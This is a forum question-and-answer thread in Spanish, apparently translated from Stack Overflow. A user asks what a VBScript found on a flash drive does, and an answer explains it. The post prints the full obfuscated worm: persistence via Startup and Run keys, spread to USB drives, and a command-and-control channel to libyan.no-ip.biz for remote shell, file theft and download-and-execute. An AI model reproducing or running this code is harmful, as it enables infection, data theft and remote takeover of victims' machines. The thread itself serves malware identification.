vbscript - secuencia - virus vbs

¿Podría alguien expliane ese archivo de script VBscript que encontré en la memoria flash?

Question

El archivo parece ser un virus.

Los archivos reales con el archivo de script en la memoria flash están ocultos y vinculados con archivos .lnk que los abren y ejecutan el script al mismo tiempo.

la alerta antivirus sobre VBS / LNK.JENXCUS.Gen Trojan.

¿Qué hace el código? se hace una copia a sí mismo en la carpeta de inicio, incluso cuando lo elimino.

Dim zvn
Dim dnqeqvrrc_
xs=("""")
n=(vbcrlf)
Function bnowmx()
zvn=zvn&""&n&"noitcnuf dne"&n&"ynamorflladaer = llehsdmc"&n&"fi dne"&n&""&xs&""&xs&" = ynamorflladaer"&n&" esle"&n&"lladaer.rredts.cexeo = ynamorflladaer"&n&"neht maertsfodneta.rredts.cexeo ton fiesle"&n&"lladaer.tuodts.cexeo = ynamorflladaer"&n&"neht maertsfodneta.tuodts.cexeo ton fi"&n&")dmc & "&xs&" c/ %cepsmoc%"&xs&"( cexe.jbollehs = cexeo tes"&n&"ynamorflladaer,cexeo,jboptth mid"&n&")dmc( llehsdmc noitcnuf"&n&"bus dne"&n&"lru redlofeteled.jbo"
zvn=zvn&"metsyselif"&n&"lru elifeteled.jbometsyselif"&n&"txen emuser rorre no"&n&")lru( fafeteled bus"&n&"bus dne"&n&"eurt,7,dip & "&xs&" DIP/ T/ F/ llikksat"&xs&" nur.jbollehs"&n&"txen emuser rorre no"&n&")dip( ssecorptixe bus"&n&"noitcnuf dne"&n&"txen"&n&"retilps & htapelbatucexe.metijbo & ssecorpmune = ssecorpmune"&n&""&xs&"|"&xs&" & dissecorp.metijbo & ssecorpmune = ssecorpmune "&n&""&xs&"|"&xs&" & eman.metijbo & ssecorpmune = ssecorpmune "&n&"smetiloc ni metijbo hcae rof"&n&"metijbo mid"&n&")84,,"&xs&"ssecorp_23niw morf * tceles"&xs&"(yreuqcexe.ecivresimwjbo = smetiloc tes"&n&")"&xs&"2vmic/toor/.//:stmgmniw"&xs&"(tcejboteg = ecivresimwjbo tes"&n&"txen emuser rorre no"&n&")( ssecorpmune noitcnuf"&n&"noitcnuf dne"&n&"txen"&n&"retilps & setubirtta.elif & "&xs&"|"&xs&" & "&xs&"f"&xs&" & "&xs&"|"&xs&" & ezis.elif & "&xs&"|"&xs&" & eman.elif & fafmune = fafmune"&n&"selif.)ridmune( redlofteg.jbometsyselif ni elif hcae rof"&n&"txen"&n&"retilps & setubirtta.redlof & "&xs&"|"&xs&" & "&xs&"d"&xs&" & "&xs&"|"&xs&" & "&xs&""&xs&" & "&xs&"|"&xs&" & eman.redlof & fafmune = fafmune"&n&"sredlofbus.)ridmune( redlofteg.jbometsyselif ni redlof hcae rof"&n&"retilps & ridmune = fafmune"&n&")ridmune( fafmune noitcnuf"&n&"noitcnuF dne"&n&"txen"&n&"fi dne"&n&"retilps & epytevird.evird & "&xs&"|"&xs&" & htap.evird & revirdmune = revirdmune"&n&"neht eurt = ydaersi.evird fi"&n&"sevird.jbometsyselif ni evird hcae rof"&n&")( revirdmune noitcnuf"&n&"noitcnuf dne"&n&"reffub dnes.jboptth"&n&"eslaf ,lruelif & retilps & "&xs&"gnivcer-si"&xs&" & "&xs&"/"&xs&"& trop & "&xs&":"&xs&" & tsoh & "&xs&"//:ptth"&xs&","&xs&"tsop"&xs&" nepo.jboptth"&n&")"&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = jboptth tes"&n&"gni"
zvn=zvn&"hton = daolnwodmaertsjbo tes"&n&"htiw dne"&n&"esolc. "&n&"daer. = reffub "&n&"lruelif elifmorfdaol. "&n&"nepo."&n&" 1 = epyt."&n&" edaolpumaertsjbo htiw"&n&")"&xs&"maerts.bdoda"&xs&"(tcejboetaerc = edaolpumaertsjbo tes"&n&"reffub,edaolpumaertsjbo,jboptth mid"&n&")lruelif( daolpu noitcnuf"&n&"bus dne"&n&" fi dne"&n&"htaptrohs.)otevasrts( elifteg.daolnwodosfjbo nur.jbollehs"&n&"neht )otevasrts(stsixeelif.daolnwodosfjbo fi"&n&"fi dne"&n&"gnihton = daolnwodmaertsjbo tes"&n&"htiw dne "&n&"esolc. "&n&"otevasrts elifotevas. "&n&"ydobesnopser.daolnwodptthjbo etirw. "&n&"nepo. "&n&" 1 = epyt. "&n&" daolnwodmaertsjbo htiw"&n&")"&xs&"maerts.bdoda"&xs&"(tcejboetaerc = daolnwodmaertsjbo tes "&n&"daolnwodmaertsjbo mid"&n&"neht 002 = sutats.daolnwodptthjbo fi"&n&"fi dne"&n&")otevasrts( elifeteled.daolnwodosfjbo"&n&"neht )otevasrts( stsixeelif.daolnwodosfjbo fi"&n&")"&xs&"tcejbometsyselif.gnitpircs"&xs&"( tcejboetaerc = daolnwodosfjbo tes"&n&" "&n&""&xs&""&xs&" dnes.daolnwodptthjbo"&n&"eslaf ,lruelif & retilps & "&xs&"gnidnes-si"&xs&" & "&xs&"/"&xs&"& trop & "&xs&":"&xs&" & tsoh & "&xs&"//:ptth"&xs&","&xs&"tsop"&xs&" nepo.daolnwodptthjbo"&n&")"&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = daolnwodptthjbo tes"&n&")1 + )"&xs&"/"&xs&",lruelif( verrtsni ,lruelif( dim & ridelif = otevasrts"&n&"fi dne"&n&"ridllatsni = ridelif"&n&" neht "&xs&""&xs&" = ridelif fi"&n&")ridelif,lruelif( daolnwod bus"&n&"bus dne"&n&" fi dne"&n&"htaptrohs.)otevasrts( elifteg.daolnwodosfjbo nur.jbollehs"&n&"neht )otevasrts(stsixeelif.daolnwodosfjbo fi"&n&"fi dne"&n&"gnihton = daolnwodmaertsjbo tes"&n&"htiw dne"&n&"esolc. "&n&"otevasrts elifote"
zvn=zvn&"vas. "&n&"ydobesnopser.daolnwodptthjbo etirw. "&n&"nepo. "&n&" 1 = epyt. "&n&"daolnwodmaertsjbo htiw"&n&")"&xs&"maerts.bdoda"&xs&"(tcejboetaerc = daolnwodmaertsjbo tes"&n&"daolnwodmaertsjbo mid"&n&"neht 002 = sutats.daolnwodptthjbo fi"&n&" "&n&"fi dne"&n&")otevasrts( elifeteled.daolnwodosfjbo"&n&"neht )otevasrts( stsixeelif.daolnwodosfjbo fi"&n&")"&xs&"tcejbometsyselif.gnitpircs"&xs&"( tcejboetaerc = daolnwodosfjbo tes"&n&"dnes.daolnwodptthjbo"&n&"eslaf ,knilrts ,"&xs&"teg"&xs&" nepo.daolnwodptthjbo"&n&") "&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = daolnwodptthjbo tes"&n&"emanelif & ridllatsni = otevasrts"&n&"lruelif = knilrts"&n&")emanelif,lruelif( redaolnwodetis bus"&n&"noitcnuf dne"&n&"tiuq.tpircsw neht 0 > rebmun.rre fi"&n&")eslaf ,8, emanllatsni & ridllatsni( eliftxetnepo.jbometsyselif = ecnoeno tes"&n&"raelc.rre"&n&"fI dne"&n&" tiuq.tpircsw"&n&")43(rhC & emanllatsni & ridllatsni & )43(rhc & "&xs&" B// exe.tpircsw"&xs&" nur.jbollehs"&n&" neht )htaptrohs.trohsemanllufllatsni( esacl >< )htaptrohs.trohsemanlluftpircs( esacl fi"&n&")emanllatsni & ridllatsni( elifteg.jbometsyselif = trohsemanllufllatsni tes"&n&")emanlluftpircs.tpircsw( elifteg.jbometsyselif = trohsemanlluftpircs tes"&n&"tratspu"&n&"fI dne"&n&"fi dne"&n&""&xs&"ZS_GER"&xs&" ,gnidaerpsbsu ,"&xs&"/"&xs&" & )0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"/erawtfos/ENIHCAM_LACOL_YEKH"&xs&" etirwger.jbollehs"&n&"etad & "&xs&" - eslaf"&xs&" = gnidaerpsbsu"&n&"esle"&n&""&xs&"ZS_GER"&xs&" ,gnidaerpsbsu ,"&xs&"/"&xs&" & )0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"/erawtfos/ENIHCAM_LACOL_YEKH"&xs&" etirwger.jbollehs"&n&"etad"
zvn=zvn&" & "&xs&" - eurt"&xs&" = gnidaerpsbsu"&n&"neht )emanllatsni(esacl & "&xs&"/:"&xs&" = ))2,emanlluftpircs.tpircsw(dim ( esacl fi"&n&"neht "&xs&""&xs&" = gnidaerpsbsu fi"&n&")"&xs&"/"&xs&" & )0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"/erawtfos/ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs = gnidaerpsbsu"&n&"txen emuser rorre no"&n&"ecnatsni noitcnuf"&n&"noitcnuf dne"&n&""&xs&"va-nan"&xs&" = ytiruces neht "&xs&""&xs&" = ytiruces fi"&n&"txen"&n&""&xs&". "&xs&" & emanyalpsid.surivitnajbo & ytiruces = ytiruces"&n&"surivitnaloc ni surivitnajbo hcae rof"&n&")0,"&xs&"lqw"&xs&","&xs&"tcudorpsurivitna morf * tceles"&xs&"(yreuqcexe.retnecytirucesjbo = surivitnaloc teS"&n&")cs & "&xs&"/toor/tsohlacol//:stmgmniw"&xs&"(tcejboteg = retnecytirucesjbo tes"&n&""&xs&"retnecytiruces"&xs&" = cs esle "&xs&"2retnecytiruces"&xs&" = cs neht 6 > noisrevso fi"&n&")noisrevso( lave = noisrevso"&n&"txen"&n&")i( rtsnoisrev & noisrevso = noisrevso "&n&")rtsnoisrev( dnuobu ot 1 = x rof"&n&""&xs&"."&xs&" & )0( rtsnoisrev = noisrevso"&n&")"&xs&"."&xs&",noisrev.smetiloc( tilps = rtsnoisrev"&n&"txen"&n&")"&xs&"."&xs&",noisrev.metijbo( tilps = rtsnoisrev"&n&"smetiloc ni metijbo hcae rof"&n&")84,,"&xs&"metsysgnitarepo_23niw morf * tceles"&xs&"(yreuqcexe.ecivresimwjbo = smetiloc tes"&n&")"&xs&"2vmic/toor/.//!}etanosrepmi=levelnoitanosrepmi{:stmgmniw"&xs&"(tcejboteg = ecivresimwjbo tes"&n&""&xs&""&xs&" = ytiruces"&n&"txen emuser rorre no"&n&" ytiruces noitcnuf"&n&"noitcnuf dne"&n&"txen"&n&"fi dne"&n&"rof tixe"&n&"rebmunlairesemulov.ksid = diwh"&n&"neht "&xs&""&xs&" >< rebmunlairesemulov.ksid fi"&n&"sksid ni ksid hcae rof"&n&")"&xs&"ksidlacigol_23niw morf * tceles"&xs&"( yreuqcexe.toor = sksid tes"&n&")"
zvn=zvn&""&xs&"2vmic/toor/.//!}etanosrepmi=levelnoitanosrepmi{:stmgmniw"&xs&"(tcejboteg = toor tes"&n&"txen emuser rorre no"&n&"diwh noitcnuf"&n&"bus dne"&n&"eurt, emanllatsni & putrats,emanlluftpircs.tpircsw elifypoc.jbometsyselif"&n&"eurt,emanllatsni & ridllatsni,emanlluftpircs.tpircsw elifypoc.jbometsyselif"&n&""&xs&"ZS_GER"&xs&" , )43(wrhc & emanllatsni & ridllatsni & )43(wrhc & "&xs&" B// exe.tpircsw"&xs&" ,)0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"/nur/noisrevtnerruc/swodniw/tfosorcim/erawtfos/ENIHCAM_LACOL_YEKH"&xs&" etirwger.jbollehs"&n&""&xs&"ZS_GER"&xs&" , )43(wrhc & emanllatsni & ridllatsni & )43(wrhc & "&xs&" B// exe.tpircsw"&xs&" ,)0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"/nur/noisrevtnerruc/swodniw/tfosorcim/erawtfos/RESU_TNERRUC_YEKH"&xs&" etirwger.jbollehs"&n&"txeN emuser rorre no"&n&")( tratspu bus"&n&"noitcnuf dne"&n&"fi dne"&n&"fni = noitamrofni"&n&"esle"&n&" fni = noitamrofni"&n&"gnidaerpsbsu & fni = fni"&n&"retilps & ytiruces & fni = fni"&n&"retilps & "&xs&"sulp"&xs&" & fni = fni"&n&"txen"&n&"rof tixe"&n&" retilps & noitpac.ofniso & fni = fni"&n&"so ni ofniso hcae rof"&n&")"&xs&"metsysgnitarepo_23niw morf * tceles"&xs&"( yreuqcexe.toor = so tes"&n&")"&xs&"2vmic/toor/.//!}etanosrepmi=levelnoitanosrepmi{:stmgmniw"&xs&"(tcejboteg = toor tes"&n&"retilps & )"&xs&"%emanresu%"&xs&"(sgnirtstnemnorivnednapxe.jbollehs & fni = fni"&n&" retilps & )"&xs&"%emanretupmoc%"&xs&"(sgnirtstnemnorivnednapxe.jbollehs & fni = fni"&n&" retilps & diwh = fni"&n&"neht "&xs&""&xs&" = fni fi"&n&"txen emuser rorre no"&n&"noitamrofni noitcnuf"&n&"noitcnuf dne"&n&"txetesnopser.jboptth ="
zvn=zvn&" tsop"&n&"marap dnes.jboptth"&n&"noitamrofni,"&xs&":tnega-resu"&xs&" redaehtseuqertes.jboptth"&n&"eslaf ,dmc & "&xs&"/"&xs&"& trop & "&xs&":"&xs&" & tsoh & "&xs&"//:ptth"&xs&","&xs&"tsop"&xs&" nepo.jboptth"&n&"marap = tsop"&n&")marap, dmc( tsop noitcnuf"&n&"bus dne"&n&"tiuq.tpircsw"&n&"txen"&n&"fi dne"&n&"fi dne"&n&"fi dne"&n&"txen"&n&"0 = setubirtta.redlof"&n&"sredlofbus.) "&xs&"/"&xs&" & htap.evird (redlofteg.jbometsyselif ni redlof hcae rof"&n&"txen"&n&"fi dne"&n&"fi dne"&n&" )htap.elif( elifeteled.jbometsyselif"&n&"esle"&n&"fI dne"&n&")eman.elif & "&xs&"/"&xs&" & htap.evird( elifeteled.jbometsyselif"&n&"esle"&n&") "&xs&"knl."&xs&" & )0(emanelif & "&xs&"/"&xs&" & htap.evird( elifeteled.jbometsyselif"&n&")"&xs&"."&xs&",eman.elif(tilps = emanelif"&n&"neht )emanllatsni( esacu >< )eman.elif( esacu fi"&n&"0 = setubirtta.elif"&n&"neht "&xs&"knl"&xs&" >< ))))"&xs&"."&xs&" ,eman.elif(tilps(dnuobu()"&xs&"."&xs&" ,eman.elif(tilps( esacl fi"&n&"neht )"&xs&"."&xs&",eman.elif( rtsni fi"&n&"txen emuser rorre no"&n&"selif.)"&xs&"/"&xs&" & htap.evird ( redlofteg.jbometsyselif ni elif hcae rof"&n&"neht 1 = epytevird.evird fi"&n&"neht 0 > ecapseerf.evird fi"&n&"neht eurt = ydaersi.evird fi"&n&"sevird.jbometsyselif ni evird hcae rof"&n&"eurt, emanlluftpircs.tpircsw elifeteled.jbometsyselif"&n&"eurt, emanllatsni & putrats elifeteled.jbometsyselif"&n&")0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"/nur/noisrevtnerruc/swodniw/tfosorcim/erawtfos/ENIHCAM_LACOL_YEKH"&xs&" eteledger.jbollehs"&n&")0()"&xs&"."&xs&",emanllatsni( tilps & "&xs&"/nur/noisrevtnerruc/swodniw/tfosorcim/erawtfos/RESU_TNERRUC_YEKH"&xs&" eteledger.jbollehs"&n&"emanredlof mid"&n&"emanelif mid"&n&"txen e"
zvn=zvn&"muser rorre no"&n&"llatsninu bus"&n&"bus dne"&n&"raelc.rre"&n&"txen"&n&"fi dne"&n&"fI dne"&n&"fI dne"&n&"txen"&n&")(evas.jboknl"&n&"fi dne"&n&"nociredlof = noitacolnoci.jboknl"&n&" esle"&n&"htap.redlof = noitacolnoci.jboknl"&n&"neht 0 = )"&xs&","&xs&",nociredlof( rtsni fi"&n&" )"&xs&"/nocitluafed/redlof/sessalc/erawtfos/ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs = nociredlof"&n&""&xs&"tixe&"&xs&"& ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",eman.redlof(ecalper & "&xs&" rerolpxe trats&"&xs&" & ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",emanllatsni(ecalper & "&xs&" trats c/"&xs&" = stnemugra.jboknl"&n&""&xs&""&xs&" = yrotceridgnikrow.jboknl"&n&""&xs&"exe.dmc"&xs&" = htaptegrat.jboknl"&n&"7 = elytswodniw.jboknl"&n&" )"&xs&"knl."&xs&" & emanredlof & "&xs&"/"&xs&" & htap.evird( tuctrohsetaerc.jbollehs = jboknl tes"&n&"eman.redlof = emanredlof"&n&"4+2 = setubirtta.redlof"&n&"rof tixe neht redlofknl ton fi"&n&"sredlofbus.) "&xs&"/"&xs&" & htap.evird (redlofteg.jbometsyselif ni redlof hcae rof"&n&"txen"&n&"fi dne"&n&"fi dne"&n&"fi dne"&n&")(evas.jboknl"&n&"fi dne"&n&"nocielif = noitacolnoci.jboknl"&n&" esle"&n&"htap.elif = noitacolnoci.jboknl"&n&"neht 0 = )"&xs&","&xs&",nocielif( rtsni fi"&n&" )"&xs&"/nocitluafed/"&xs&" & )"&xs&"/"&xs&" &)))"&xs&"."&xs&" ,eman.elif(tilps(dnuobu()"&xs&"."&xs&" ,eman.elif(tilps & "&xs&"./sessalc/erawtfos/ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs & "&xs&"/sessalc/erawtfos/ENIHCAM_LACOL_YEKH"&xs&"( daerger.jbollehs = nocielif"&n&""&xs&"tixe&"&xs&"& ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",eman.elif(ecalper & "&xs&" trats&"&xs&" & ))43(wrhc & "&xs&" "&xs&" & )43(wrhc ,"&xs&" "&xs&",emanllatsni(ecalper & "&xs&" trats c/"&xs&" = stnemugra.jboknl"&n&""&xs&""&xs&" = yrotceridgnikrow.jboknl"&n&""&xs&"ex"
zvn=zvn&"e.dmc"&xs&" = htaptegrat.jboknl"&n&"7 = elytswodniw.jboknl"&n&" )"&xs&"knl."&xs&" & )0( emanelif & "&xs&"/"&xs&" & htap.evird( tuctrohsetaerc.jbollehs = jboknl tes"&n&")"&xs&"."&xs&",eman.elif(tilps = emanelif"&n&"neht )emanllatsni( esacu >< )eman.elif( esacu fi"&n&"4+2 = setubirtta.elif"&n&"neht "&xs&"knl"&xs&" >< ))))"&xs&"."&xs&" ,eman.elif(tilps(dnuobu( )"&xs&"."&xs&" ,eman.elif(tilps( esacl fi"&n&"neht )"&xs&"."&xs&",eman.elif( rtsni fi"&n&"rof tixe neht elifknl ton fi"&n&"seliF.) "&xs&"/"&xs&" & htap.evird (redlofteg.jbometsyselif ni elif hcae rof"&n&"fi dne"&n&"4+2 = setubirtta.)emanllatsni & "&xs&"/"&xs&" & htap.evird(elifteg.jbometsyselif"&n&"neht )emanllatsni & "&xs&"/"&xs&" & htap.evird( stsixeelif.jbometsyselif fi"&n&"eurt,emanllatsni & "&xs&"/"&xs&" & htap.evird , emanlluftpircs.tpircsw elifypoc.jbometsyselif"&n&"neht 1 = epytevird.evird fi"&n&"neht 0 > ecapseerf.evird fi"&n&"neht eurt = ydaersi.evird fi"&n&"sevird.jbometsyselif ni evird hcae rof"&n&"tratspu"&n&"nociredlof mid"&n&"nocielif mid"&n&"emanredlof mid"&n&"emanelif mid"&n&"jboknl mid"&n&"txen emuser rorre no"&n&"llatsni bus"&n&"dnew"&n&"peels peels.tpircsw"&n&"tceles dne"&n&" )marap( lave = peels"&n&")1( dmc = marap"&n&""&xs&"peels"&xs&" esac"&n&" )marap( ssecorptixe"&n&")1( dmc = marap"&n&""&xs&"ssecorp-tixe"&xs&" esac"&n&" )marap( fafeteled"&n&")1( dmc = marap"&n&""&xs&"eteled"&xs&" esac"&n&" )marap( llehsdmc,"&xs&"llehs-dmc-si"&xs&" tsop"&n&")1( dmc = marap"&n&""&xs&"llehs-dmc"&xs&" esac"&n&" ssecorpmune,"&xs&"ssecorp-mune-si"&xs&" tsop"&n&""&xs&"ssecorp-mune"&xs&" esac"&n&")marap( fafmune,"&xs&"faf-mune-si"&xs&" tsop"&n&")1( dmc = marap"&n&""&xs&"faf-mune"&xs&" esac"&n&" revirdmune,"&xs&"revir"
zvn=zvn&"d-mune-si"&xs&" tsop"&n&""&xs&"revird-mune"&xs&" esac"&n&")marap( daolpu"&n&")1( dmc = marap"&n&""&xs&"vcer"&xs&" esac"&n&")2( dmc,)1( dmc redaolnwodetis"&n&""&xs&"dnes-etis"&xs&" esac"&n&")2( dmc,)1( dmc daolnwod"&n&""&xs&"dnes"&xs&" esac"&n&"llatsninu"&n&""&xs&"llatsninu"&xs&" esac"&n&" tiuq.tpircsw"&n&")43(rhc & emanllatsni & ridllatsni & )43(rhc & "&xs&" B// exe.tpircsw"&xs&" nur.jbollehs"&n&"esolc.ecnoeno"&n&"marap etirw.ecnoeno"&n&")eslaf ,2, emanllatsni & ridllatsni( eliftxetnepo.jbometsyselif = ecnoeno tes"&n&"esolc.ecnoeno"&n&")1( dmc = marap"&n&""&xs&"etadpu"&xs&" esac"&n&"marap etucexe"&n&")1( dmc = marap"&n&""&xs&"etucecxe"&xs&" esac"&n&")0( dmc esac tceles"&n&")retilps,esnopser( tilps = dmc"&n&")"&xs&""&xs&","&xs&"ydaer-si"&xs&"( tsop = esnopser"&n&""&xs&""&xs&" = esnopser"&n&"llatsni"&n&"eurt elihw"&n&"ecnatsni"&n&"txen emuser rorre no"&n&"ecnoeno mid"&n&""&xs&""&xs&" = etadtrats"&n&""&xs&""&xs&" = gnidaerpsbsu"&n&""&xs&""&xs&" = ofni"&n&"marap mid"&n&"dmc mid"&n&"esnopser mid"&n&" 0005 = peels"&n&""&xs&">"&xs&" & "&xs&"|"&xs&" & "&xs&"<"&xs&" = retilps"&n&""&xs&"/"&xs&" & )"&xs&"%pmet%"&xs&"(sgnirtstnemnorivnednapxe.jbollehs = ridllatsni neht )ridllatsni(stsixeredlof.jbometsyselif ton fi"&n&""&xs&"/"&xs&" & )ridllatsni(sgnirtstnemnorivnednapxe.jbollehs = ridllatsni"&n&""&xs&"/"&xs&" & )"&xs&"putrats"&xs&"( sredloflaiceps.jbollehs = putrats"&n&"emantpircs.tpircsw = emanllatsni"&n&")"&xs&"ptthlmx.2lmxsm"&xs&"(tcejboetaerc = jboptth tes"&n&"jboptth mid"&n&")"&xs&"tcejbometsyselif.gnitpircs"&xs&"(tcejboetaerc = jbometsyselif tes"&n&"jbometsyselif mid"&n&")"&xs&"llehs.tpircsw"&xs&"(tcejboetaerc.tpircsw = jbollehs tes"&n&" jbollehs mid"&n&"eurt = redlofknl"&n&"eurt = elifknl"&n&""&xs&"%pmet%"&xs&" = ridllatsni"&n&"7711 = trop"&n&""&xs&"zib.pi-on.naybil"&xs&" = tsoh"&n&"reDoCXdaME''"
for azcujbz=(((len)(zvn)))to(1)Step(-1)
ypqmwkll=(mid(zvn,azcujbz,1))
dnqeqvrrc_=(dnqeqvrrc_&ypqmwkll&szauuy_l_vr)
next
bnowmx=dnqeqvrrc_
End Function
Executeglobal(cstr(bnowmx()))
''EMadXCoDer,www.dev-point.com

Answer 1

El código se instala en la carpeta de inicio del usuario y luego establece las dos claves de registro Ejecutar para ejecutar el script cuando se inicia la máquina. Cuando se ejecuta, el script inicia un ciclo que se ejecuta para siempre. Cada vez que pasa el ciclo, se reinstala y luego abre un socket a libyan.no-ip.biz y le pide instrucciones. La instrucción de respuesta puede incluir muchas cosas, como hacer que el script envíe información que está en la unidad o descargar y ejecutar código arbitrario.